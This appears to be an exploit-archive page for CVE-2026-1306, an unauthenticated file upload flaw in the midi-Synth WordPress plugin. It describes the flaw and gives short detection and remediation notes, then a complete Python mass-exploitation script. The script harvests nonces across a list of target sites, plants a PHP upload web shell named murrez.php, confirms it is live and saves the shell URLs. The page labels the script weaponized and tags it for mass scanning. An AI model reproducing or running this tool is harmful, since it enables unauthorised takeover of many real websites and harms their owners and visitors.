PoC Archive PoC Archive
Critical CVE-2026-1306 unpatched

midi-Synth WordPress Plugin Arbitrary File Upload (CVE-2026-1306)

by murrez · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-1306
Category
web
Affected product
midi-Synth WordPress plugin
Affected versions
Versions ≤ 1.1.0 (per source README; verify against current plugin release notes)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchermurrez
CVE / AdvisoryCVE-2026-1306
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, per source README)
StatusWeaponized
Tagswordpress, wp-plugin, file-upload, cwe-434, webshell, ajax, mass-scanning
RelatedN/A

Affected Target

FieldValue
Software / Systemmidi-Synth WordPress plugin
Versions AffectedVersions ≤ 1.1.0 (per source README; verify against current plugin release notes)
Language / PlatformPHP / WordPress (target); Python 3 with requests (PoC)
Authentication RequiredNo
Network Access RequiredYes

Summary

The midi-Synth plugin’s export AJAX action insufficiently validates the file type/extension of uploaded MIDI conversion payloads (CWE-434). The handler writes the attacker-supplied, Base64-encoded file content into the plugin’s wp-content/plugins/midi-synth/sound/ directory before validating an API key; when that later API-key check fails and the request dies early, the file is never cleaned up. By submitting a PHP web shell disguised as the MIDI payload with a .php filename, an attacker can get executable PHP planted in a web-accessible directory. The included Python tool harvests the plugin’s per-page midiSynth_nonce from pages embedding the [midiSynth] shortcode, submits the malicious export request across a list of targets, and verifies/logs any resulting web shell URLs.


Vulnerability Details

Root Cause

The export AJAX handler accepts a Base64-encoded file (fileMidi) and an attacker-chosen filename (fileName) without validating the file extension/content type, and persists the file to a predictable, web-accessible plugin directory before the API-key check that would otherwise reject the request — leaving the file in place even on a “failed” request.

Attack Vector

  1. Locate a target page containing the [midiSynth] shortcode and extract the midiSynth_nonce value embedded in the page’s frontend JavaScript.
  2. Send a POST to wp-admin/admin-ajax.php with action=export, the harvested nonce, an empty/invalid masterAPIkey, and fileMidi set to a Base64-encoded PHP web shell with fileName=<shell>.php.
  3. The plugin writes the file to wp-content/plugins/midi-synth/sound/<shell>.php before the API-key validation fails and the request is aborted, leaving the shell in place.
  4. Request the resulting file path directly to confirm the web shell is live and accepts further file uploads/command execution.

Impact

Unauthenticated arbitrary PHP file upload leading to remote code execution and full site compromise via the planted web shell.


Environment / Lab Setup

Target:   WordPress site with midi-Synth <= 1.1.0 and a page containing the [midiSynth] shortcode
Attacker: Python 3.x with the requests library

Proof of Concept

PoC Script

See CVE-2026-1306 midi.py in this folder.

1
2
3
pip install requests
python "CVE-2026-1306 midi.py" targets.txt
python "CVE-2026-1306 midi.py" targets.txt --paths /,/blog/midi/,/page/

For each target in the list, the script fetches candidate pages to harvest the midiSynth_nonce, submits the crafted export AJAX request carrying a minimal PHP upload-shell payload named murrez.php, then verifies the shell is reachable under the plugin’s sound/ directory and records confirmed shell URLs to shell.txt.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php action=export
GET /wp-content/plugins/midi-synth/sound/*.php

Signs of compromise:

  • Unexpected .php files (e.g. murrez.php) present in wp-content/plugins/midi-synth/sound/
  • export AJAX requests with an empty or invalid masterAPIkey combined with a .php fileName
  • Outbound requests directly retrieving files from the plugin’s sound/ upload directory shortly after an AJAX POST

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — update the midi-Synth plugin or remove it and monitor for advisory
Interim mitigationBlock direct execution of PHP files under wp-content/plugins/midi-synth/sound/ (web server config), and validate/clean up uploaded files before any API-key check that could short-circuit processing

References


Notes

Mirrored from https://github.com/murrez/CVE-2026-1306 on 2026-07-05.

CVE-2026-1306 midi.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
midi-Synth (WordPress) CVE-2026-1306 list runner: export AJAX writes under sound/ then
runs conversion; early wp_die() on bad API key leaves the file (no cleanup).

Nonce is printed in frontend JS when [midiSynth] shortcode is present on a page.
ASCII-only for portability (PEP 263). Authorized security testing only.
"""
import base64
import re
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional
from urllib.parse import urlparse

import requests
import urllib3

urllib3.disable_warnings()

HEADERS = {"User-Agent": "Mozilla/5.0"}

SHELL_NAME = "murrez.php"
SHELL_CONTENT = (
    "<?php if(isset($_FILES['f'])){move_uploaded_file($_FILES['f']['tmp_name'],"
    "$_FILES['f']['name']);echo \"Uploaded: \".$_FILES['f']['name'];}?>"
    "<form method=\"POST\" enctype=\"multipart/form-data\">"
    "<input type=\"file\" name=\"f\"><button>Upload</button></form>"
)

AJAX_ACTION = "export"
PLUGIN_SOUND_PATH = "/wp-content/plugins/midi-synth/sound/"

NONCE_RE = re.compile(
    r'var\s+midiSynth_nonce\s*=\s*"([a-zA-Z0-9_-]+)"',
    re.IGNORECASE,
)


def normalize_base_url(raw: str) -> str:
    """Force https:// origin only (no path). Accepts google.com, http://host, https://host/path."""
    s = raw.strip()
    if not s:
        return ""
    low = s.lower()
    if not low.startswith(("http://", "https://")):
        s = "https://" + s.lstrip("/")
    elif low.startswith("http://"):
        rest = s[7:].lstrip("/")
        s = ("https://" + rest) if rest else "https://"
    p = urlparse(s)
    host = p.netloc
    if not host and p.path:
        host = p.path.split("/")[0].split("@")[-1]
    if not host:
        return ""
    return ("https://" + host).rstrip("/")


def fetch_nonce(session: requests.Session, base_url: str, probe_paths: list) -> tuple:
    """Return (nonce, page_url_fetched) or (None, None)."""
    for path in probe_paths:
        path = path.strip()
        if not path:
            continue
        if not path.startswith("/"):
            path = "/" + path
        url = base_url.rstrip("/") + path
        try:
            r = session.get(url, headers=HEADERS, verify=False, timeout=20)
            if r.status_code != 200:
                continue
            m = NONCE_RE.search(r.text)
            if m:
                return m.group(1), url
        except requests.RequestException:
            continue
    return None, None


def exploit_target(target_url: str, probe_paths: list) -> Optional[str]:
    base = normalize_base_url(target_url).rstrip("/")
    ajax_url = f"{base}/wp-admin/admin-ajax.php"
    shell_url = f"{base}{PLUGIN_SOUND_PATH}{SHELL_NAME}"

    print(f" Attack on: {base}")

    session = requests.Session()
    print("[*] Fetching midiSynth_nonce (page must include [midiSynth] shortcode)...")
    nonce, src_page = fetch_nonce(session, base, probe_paths)
    if not nonce:
        print(
            "[-] nonce not found. Try --paths with URLs that embed the shortcode "
            "(e.g. /, /your-midi-page/).\n"
        )
        return None
    print(f"[+] Nonce: {nonce} (from {src_page})")

    file_midi_b64 = base64.b64encode(SHELL_CONTENT.encode("utf-8")).decode("ascii")
    data = {
        "action": AJAX_ACTION,
        "nonce": nonce,
        "masterAPIkey": "",
        "fileMidi": file_midi_b64,
        "fileName": SHELL_NAME,
        "fileSize": "1",
        "formatAudio": "mp3",
        "modeAudio": "stereo",
        "codecAudio": "aac",
        "frequencyAudio": "48000",
        "resolutionAudio": "16",
        "bitrateAudio": "128",
    }

    print("[*] POST export (expect API failure -> file left in sound/)...")
    try:
        r = session.post(ajax_url, data=data, headers=HEADERS, verify=False, timeout=45)
        print(f"[*] HTTP {r.status_code} | body (trunc): {r.text[:400]!r}")
    except requests.RequestException as e:
        print(f"[-] POST error: {e}\n")
        return None

    try:
        vr = session.get(shell_url, headers=HEADERS, verify=False, timeout=15)
        body = vr.text or ""
        if vr.status_code == 200 and ("<?php" in body or "multipart/form-data" in body):
            print(f"\n{'='*60}")
            print(f"SHELL UPLOADER: {shell_url}")
            print(f"{'='*60}\n")
            return shell_url
    except requests.RequestException:
        pass

    print("[-] Shell URL not confirmed (wrong path, patched, or nonce/cleanup differ).\n")
    return None


def main():
    argv = sys.argv[1:]
    probe_paths = ["/", "/midi/", "/midi-synth/", "/synth/", "/welcome/"]
    if "--paths" in argv:
        i = argv.index("--paths")
        try:
            probe_paths = [p.strip() for p in argv[i + 1].split(",") if p.strip()]
            del argv[i : i + 2]
        except IndexError:
            print("Usage: --paths requires comma-separated paths", file=sys.stderr)
            sys.exit(2)

    if not argv:
        print("Usage: python3 CVE-2026-1306.py <list.txt> [--paths /,/blog/midi/]", file=sys.stderr)
        print("Example: python3 CVE-2026-1306.py wordpress.txt", file=sys.stderr)
        sys.exit(2)

    list_path = argv[0]
    try:
        with open(list_path, "r", encoding="utf-8", errors="replace") as f:
            targets = []
            for line in f:
                line = line.strip()
                if not line or line.startswith("#"):
                    continue
                u = normalize_base_url(line)
                if u:
                    targets.append(u.rstrip("/"))
    except FileNotFoundError:
        print(f"File not found: {list_path}", file=sys.stderr)
        sys.exit(1)

    print(f"[+] List: {list_path} - {len(targets)} targets")
    print(f"[+] Probe paths: {probe_paths}\n")

    successful = []
    file_lock = threading.Lock()

    def target_worker(target):
        hit = exploit_target(target, probe_paths)
        if hit:
            with file_lock:
                successful.append(hit)
                with open("shell.txt", "a", encoding="utf-8") as out:
                    out.write(hit + "\n")
        return hit

    with ThreadPoolExecutor(max_workers=20) as executor:
        futures = [executor.submit(target_worker, t) for t in targets]
        for i, future in enumerate(as_completed(futures), 1):
            future.result()
            print(f"[{i}/{len(targets)}]")

    print(f"\n{'='*60}")
    print(f"[+] Total success: {len(successful)}/{len(targets)}")
    print(f"[+] Saved to shell.txt")
    print(f"{'='*60}")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
        sys.exit(0)